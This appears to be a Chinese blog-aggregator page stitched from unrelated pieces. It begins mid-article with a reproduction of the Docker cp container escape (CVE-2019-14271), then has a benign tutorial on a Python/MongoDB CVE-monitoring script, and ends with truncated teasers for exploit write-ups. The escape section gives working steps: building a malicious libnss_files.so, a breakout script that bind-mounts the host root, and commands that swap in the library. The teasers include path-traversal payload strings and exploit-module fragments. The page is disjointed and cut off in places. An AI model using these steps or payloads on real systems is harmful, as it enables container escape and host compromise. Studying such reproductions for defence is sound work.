         return true; // we're running in the context of docker-tar
    }
    

    编译生成恶意链接文件

    cd /root/gnu/glibc-build
    mkdir configur1
    ../glibc-2.31/configure --prefix=/root/gnu/glibc-build/configur1/
    make
    //生成的恶意动态链接库文件为/glibc-build/nss/libnss_files.so;要注意的是libnss_files.so.2为链接文件,别弄错了
    

    实现逃逸

    如果用户执行docker cp,后台的docker-tar进程在执行了chroot命令后,会触发libnss_files.so

    1. 将此脚本拷贝到容器根目录,并给他加上777权限
    #!/bin/bash
    
    umount /host_fs && rm -rf /host_fs
    mkdir /host_fs
    
    
    mount -t proc none /proc     # mount the host's procfs over /proc
    cd /proc/1/root              # chdir to host's root
    mount --bind . /host_fs      # mount host root at /host_fs
    
    1. 将容器内原有的libnss_files.so拷贝到容器根目录并重命名
    2. 用构建好的libnss_files.so库替换原有正常库(记得改名)

    整个过程如下:(为进入容器操作,也可以在宿主机进入容器文件目录进行操作)

    root@c638f4a1fa0f:/# chmod 777 breakout
    root@c638f4a1fa0f:/lib/x86_64-linux-gnu# ls -l | grep libnss_files
    -rw-r--r--  1 root root   51832 Dec 16  2020 libnss_files-2.31.so
    lrwxrwxrwx  1 root root      20 Dec 16  2020 libnss_files.so.2 -> libnss_files-2.31.so
    root@c638f4a1fa0f:/lib/x86_64-linux-gnu# cp libnss_files-2.31.so /original_libnss_files.so.2
    root@c638f4a1fa0f:/lib/x86_64-linux-gnu# rm ./libnss_files.so.2
    root@c638f4a1fa0f:/# mv libnss_files.so /lib/x86_64-linux-gnu/libnss_files.so.2
    root@c638f4a1fa0f:/# ls
    bin       dev   lib    libx32  opt                         root  srv  usr
    boot      etc   lib32  media   original_libnss_files.so.2  run   sys  var
    breakout  home  lib64  mnt     proc                        sbin  tmp
    
    
    1. docker cp test:/etc/passwd ./,触发攻击

    复现成功

    请添加图片描述

    遇到问题

    1. 下图问题:不能在glibc的源文件目录下运行

    请添加图片描述

    1. 下图问题,缺少依赖
    //安装依赖
    198  apt install bison
    203  apt install gawk
    

    请添加图片描述

    1. 动态链接库问题,失败了,对docker的所有命令都失效

      问题描述:docker根目录下的original_libnss_files.so.2消失,但是没有挂载host_fs成功

      说明其中payload中rename那行生效了,所以编译的nss库没问题

      是breakout需要加上777权限,没想到,到github上问了作者才知道,非常感谢

    参考文献:

    云原生安全:攻防实践与体系构建

    Docker Patched the Most Severe Copy Vulnerability to Date With CVE-2019-14271 (paloaltonetworks.com)

    展开全文
  • 前几天在先知上看到伪全栈式安全研发:CVE监控这篇文章,就想着也实现一下代码进行最新CVE的监控。语言采用了Python,数据库也为Mongodb数据库。代码和实现的什么不重要,重要的是过程。主要包括以下几个方面。获取...

    前几天在先知上看到伪全栈式安全研发:CVE监控这篇文章,就想着也实现一下代码进行最新CVE的监控。语言采用了Python,数据库也为Mongodb数据库。代码和实现的什么不重要,重要的是过程。

    主要包括以下几个方面。

    获取最新的CVE列表和详情

    主要采用了python的requests模块和BeautifulSoup模块。

    将最新的CVE信息存入数据库

    数据库使用了Mongodb,采用了pymongo模块。

    通过邮件发送最新的CVE信息

    发送邮件采用了smtplib模块。

    定时执行任务

    使用了linux的crontab来实现。

    0x02 实现过程

    1. 获取最新的CVE列表和详情

    通过查看源代码,发现没html没什么规律可言,都是些超链接。要想获取最新的列表,可以通过取文本中间的方法来获取。

    这里需要获取New entries:和Graduations之间的内容。然后通过BeautifulSoup来解析其中的超链接。

    主要代码如下:

    def getCVES():# 获取最新到CVE列表

    try:

    url = 'https://cassandra.cerias.purdue.edu/CVE_changes/today.html'

    res = requests.get(url, headers=headers, timeout=60)

    CVEList_html = getMiddleStr(res.text, 'New entries:', 'Graduations')

    soup = BeautifulSoup(CVEList_html, 'html.parser')

    for a in soup.find_all('a'):

    print(a['href'])

    print(a.string)

    except Exception as e:

    print(e)

    获取文本中间内容的代码:

    def getMiddleStr(content, startStr, endStr): # 获取文本中间内容

    startIndex = content.index(startStr)

    if startIndex >= 0:

    startIndex += len(startStr)

    endIndex = content.index(endStr)

    return content[startIndex:endIndex]

    运行效果:

    超链接的地址是CVE的详情。随便进入一个查看效果。

    例如:http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0874

    这里需要记录的信息有:CVE-ID、Description、Assigning CNA和Date Entry Created。

    通过查看网页源码发现,所有需要记录的信息在一个表格里面。但该页面有很多table,而且没有明显的标识来区分。而该table在div中,可以通过id来获取。

    CVE-ID可以直接通过soup.find(nowrap='nowrap').find('h2').string获取。其他的几个信息可以通过获取相应tr中的td中的内容获得。

    这样就可以获取最新的CVE列表和详情。

    2. 将最新的CVE信息存入数据库

    数据库采用了Mongodb。安装方法apt-get install mongodb

    然后启动数据库

    mkdir /var/data/ #创建数据存储位置

    mongod --port 65521 --dbpath /var/data/ --bind_ip 127.0.0.1 #启动mongodb,指定端口和路径,且仅本机可连

    mongo 127.0.0.1:65521/mydb

    db.createUser({user:'tass',pwd:'liehu',roles:[{role:'dbOwner',db:'mydb'}]}) #添加认证

    Mongodb数据库插入一条数据,一般使用的是insert。

    db.test.insert({"title":"test1", "blog_cont":"test1"})

    如果我们想实现一个如果title存在,就对数据进行更新,不存在,就插入。可以这样来实现。

    db.test.update({"title":"test2"}, {$set:{"title":"test2", "blog_cont":"test2"}}, {upsert:true})

    db.test.update({"title":"test1"}, {$set:{"title":"test1", "blog_cont":"test3"}}, {upsert:true})

    db.test.find()

    执行完成后最终有两条数据,title分别为test1和test2,对应的内容为test3和test2.

    因此在插入数据的时候,我们可以直接使用db.test.update({"title":"test2"}, {$set:{"title":"test2", "blog_cont":"test2"}}, {upsert:true})这种方式来实现。

    更新只需更改data内容即可。

    为了数据库的安全性,使用--bind_ip 127.0.0.1来设置数据库仅本地可以连接。更多mongodb数据库的配置可以参考MongoDB Mongodb.conf 配置 Auth。

    3. 通过邮件发送最新的CVE信息

    发送邮件这里用到了smtplib。

    发送邮件比较简单,就直接贴代码了。

    def sendEmail(mail_msg): # 发送邮件

    sender = 'from@163.com' # 发件人

    password = 'password' # 发件人密码

    receiver = 'receiver@163.com' # 收件人

    message = MIMEText(mail_msg, 'plain', 'utf-8') #以文本发送

    message['From'] = sender

    message['To'] = receiver

    subject = '最新CVE列表'

    message['Subject'] = Header(subject, 'utf-8')

    try:

    smtpObj = smtplib.SMTP('smtp.163.com')

    smtpObj.login(sender, password)

    smtpObj.sendmail(sender, receiver, message.as_string())

    print('邮件发送成功')

    except smtplib.SMTPException:

    print('Error: 无法发送邮件')

    4. 定时执行任务

    直接使用linux下的crontab来完成。

    例如设置每天早上7点执行,可以这样设置:

    0 7 * * * python /myJob/CVE-Monitor.py >> /log/CVE-Monitor.log

    根据https://cassandra.cerias.purdue.edu/CVE_changes/ 看到today.html更新的时间是明天的06:53,对应北京时间是19:53。若想及时获取,可以更换时间为20:00.

    5.完善和优化

    到这里监控脚本完成的差不多了,剩下就是如何来融合一起并改善了。

    为了方便发送邮件内容和插入数据库,我们新建类CVEInfo。主要代码如下:

    class CVEInfo:

    def __init__(self,url, cveid, description, company, createdate):

    self.url = url

    self.cveid = cveid

    self.description = description

    self.company = company

    self.createdate = createdate

    def show(self):

    return '

    漏洞编号:'+self.cveid+'

    相关厂商:'\

    +self.company +'披露日期:'\

    +self.createdate+'漏洞描述:'\

    +self.description + '


    '

    def add(self):

    data = {

    'cveid': self.cveid,

    'description': self.description,

    'company': self.company,

    'createdate': datetime.strptime(self.createdate, "%Y%m%d"),

    'addDate': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())),

    }

    return data

    为了美观,将邮件以html方式发送

    message = MIMEText(mail_msg, 'html', 'utf-8')

    邮箱收到的效果:

    查看数据库数据:

    从上面两张图片可以看到有三十多个,但我们有时候并不是都需要看。我们可以根据Description中关键信息来进行过滤,仅仅将我们需要关注的CVE信息发送到邮箱或进行入库操作。

    如下图为获取CVE-2017-8295的信息。

    然后修改main方法,根据是否有关注的CVE信息来决定邮件的内容。

    这里先用本地服务器为例,新建today.html文件,其中包含CVE-2017-9805和CVE-2017-16241。

    运行代码结果打印了一条包含了我们的关键字的数据。

    邮件中的内容如下所示:

    这样就能过滤其他CVE信息,仅仅记录我们关注的内容了。

    0x03 总结

    本文主要用到了BeautifulSoup解析网页和mongodb数据库的使用,然后就可以将想要的内容保存到数据库中。脚本并不限于在此处使用,也可以修改一下抓取其他网站内容。

    代码地址:https://github.com/fupinglee/MyPython/blob/master/work/CVE-Monitor.py

    查询的功能就不做了,若想实现其他功能,可以自行增加和修改。

    0x03 参考

    展开全文
  • CVE-2019-1458 分析

    2021-09-15 14:57:24
    CVE-2019-1458 0x00 漏洞简介 CVE-2019-1458是Win32k中的特权提升漏洞,Win32k组件无法正确处理内存中的对象时,导致Windows中存在一个特权提升漏洞。成功利用此漏洞的攻击者可以在内核模式下运行任意代码。然后...
  • 今天复现CVE-2019-2725时从环境搭建到getshell,这一篇文章是我测试之后总结的一次完整的复现测试流程,供大家参考,如有不足,欢迎指正。 漏洞描述 Oracle WebLogic Server反序列化漏洞 ,该远程代码执行漏洞无需...
  • CVE-2021-22205——Gitlab 远程命令执行漏洞复现

    千次阅读 多人点赞 2021-11-10 16:59:10
    CVE-2021-22205Vuln Impact影响版本环境Fofa语法漏洞利用脚本反弹ShellEXP Vuln Impact An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly ...
  • 2017-10271 CVE-2018-2628 CVE-2018-2893 CVE-2018-2894 CVE-2018-3191 CVE-2018-3245 CVE-2018-3252 CVE-2019-2618 CVE-2019-2725 CVE-2019-2729 CVE-2019-2890 CVE-2020-2551 快速开始 依赖 python >= 3.6 进入...
  • ['/icons'] # 可选穿越的文件夹列表 ulist = [] # cve-2021-41773 ulist.append("/.%2e/%2e%2e/%2e%2e/%2e%2e") ulist.append("/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e") # cve-2021-42013 ulist.append("/....
  • CVE-2021-40444复现

    热门讨论 2021-09-16 13:31:26
    CVE-2021-40444 漏洞描述 2021年9月8日,微软发布安全通告披露了Microsoft MSHTML远程代码执行漏洞,攻击者可通过制作恶意的ActiveX控件供托管浏览器呈现引擎的 Microsoft Office文档使用,成功诱导用户打开恶意文档...
  • OpenSSH 用户名枚举漏洞 CVE-2018-15473 漏洞复现一、漏洞描述二、漏洞影响三、漏洞复现1、环境搭建2、漏洞复现四、漏洞POC五、参考链接 一、漏洞描述 OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以...
  • weblogic-cve_2020_2883漏洞复现

    千次阅读 2021-01-28 15:16:15
    weblogic-cve_2020_2883漏洞复现 漏洞概述: 在Oracle官方发布的2020年4月关键补丁更新公告CPU(Critical Patch Update)中,两个针对 WebLogic Server ,CVSS 3.0评分为 9.8的严重漏洞(CVE-2020-2883、CVE-2020-...
  • Log4j 的2 到 2.14 版本最近爆出了一个比较大的漏洞,漏洞编号是CVE-2021-44228。本篇对该漏洞进行简单介绍, 并介绍Spring Boot项目如何解决该漏洞。
  • 前言近日(2017.11.30)国外安全团队Bindecy爆出名为大脏牛(Huge Dirty Cow)的内核提权漏洞,编号为CVE-2017–1000405。包含linux内核(2.6.38~4.14)的服务器,桌面,移动等众多设备将面临严重挑战,数以百万计的用户...
  • CVE-2018-0886 1、其中已经指出了解决办法,访问网址:https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2018-0886,网址有可能会无法打开,需要在器官网上注册账户。 2、网址打开后,按照...
  • Gitlab RCE CVE-2021-22205

    千次阅读 2021-11-04 16:52:57
    Gitlab RCE CVE-2021-22205声明代码 声明 本程序仅供于学习交流,请使用者遵守《中华人民共和国网络安全法》,勿将此脚本用于非授权的测试,脚本开发者不负任何连带法律责任。 代码 { "Name": "Gitlab RCE CVE-2021...
  • CVE监控工具

    2021-07-21 15:45:19
    一:介绍 监控Github上的漏洞、红队等信息发送钉钉、邮箱、Telegram BOT、server酱,Telegram BOT时需要安装telegram bot需要的库: pip3 install python-telegram-bot 二:服务部署 步骤一:在海外云主机上运行一下...
  • 这篇文章将详细介绍微软证书漏洞CVE-2020-0601,并讲解ECC算法、Windows验证机制,复现可执行文件签名证书的例子。 这些基础性知识不仅和系统安全相关,同样与我们身边常用的软件、文档、操作系统紧密联系,希望这些...
  • CVE-2021-43798 Grafana 未经授权的任意文件读取漏洞 漏洞原理 Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。 Grafana ...
  • CVE-2021-22005:VMware vCenter GetShell

    千次阅读 2021-11-29 14:54:53
    其中,最为严重的漏洞为vCenter Server 中的任意文件上传漏洞(CVE-2021-22005),该漏洞存在于vCenter Server的分析服务中,其CVSSv3评分为 9.8。能够网络访问vCenter Server 上的 443 端口的攻击者可以通过上传恶意...
  • CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞

    千次阅读 多人点赞 2021-11-13 14:26:03
    漏洞复现漏洞概述影响版本漏洞复现漏洞详情处置建议 漏洞概述 2021年10月27日,Cisco发布安全公告,修复了Cisco Firepower 威胁防御 (FTD)、Cisco思科自适应安全设备 (ASA)和Firepower 管理中心 (FMC)中的多个安全...
  • CVE-2021-26084

    2021-09-23 20:50:07
    description="CVE-2021-26084 Remote Code Execution on Confluence Servers") parser.add_argument('-u', '--url', type=str, help="vulnerability verification for individual websites") parser.add_argument('-...
  • 原标题:安全预警:独立发布的Oracle严重 CVE-2018-3110 公告在 2018年8月10日,Oracle 独立的发送了一封"安全警告"邮件给所有的 Oracle 用户,这封邮件的标题是:Oracle Security Alert for CVE-2018-3110。...
  • weblogic-cve_2020_2555漏洞复现 漏洞概述: 该漏洞于2020年1月在网上爆出,属于weblogic反序列化漏洞,漏洞原因是Oracle Fusion中间件 Oracle Coherence 存在缺陷,攻击者可利用该漏洞在未经授权下通过构造T3协议...
  • CVE-2021-34473 #加载winrm模块文件 Windows专用链接对象 https://github.com/WinRb/WinRM/ require 'winrm' class MetasploitModule < Msf::Exploit::Remote # 这部分是使用MetasploitModule工厂类,输入...
  • 1.0)\n\n" "CVE-2016-6663 / CVE-2016-5616\n\n" "For testing purposes only. Do no harm.\n\n" "Discovered/Coded by:\n\n" "Dawid Golunski \n" "http://legalhackers.com"  "\033[0m\n\n"); } void usage(char...
  • CVE-2021-41773&&CVE-2021-42013复现

    千次阅读 2021-10-09 16:06:52
    CVE-2021-41773 漏洞原理 Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响: 版本等于2.4.49 <Directory /&...
  • 2021年06月03日,RedHat发布安全公告,修复了Linux Polkit中一个存在了7年的权限提升漏洞(CVE-2021-3560),该漏洞的CVSS评分为7.8,成功利用此漏洞的攻击者能够获得系统上的 root 权限。 0x01 漏洞
  • CVE-2021-40444漏洞复现

    2021-09-25 03:24:24
    CVE-2021-40444漏洞复现 简介 漏洞原理 影响范围 复现过程 环境 利用 修复 简介     MSHTML(又称Trident)是微软Windows操作系统Internet Explorer(IE)浏览器的排版组件。软件开发人员使用该组件,可以在应用...
  • Python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。 漏洞详情 漏洞简述 PIL内部根据图片头(Magic Bytes)判断图片类型,如果...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 39,876
精华内容 15,950
关键字:

cve

友情链接: 改 MJ求亩.rar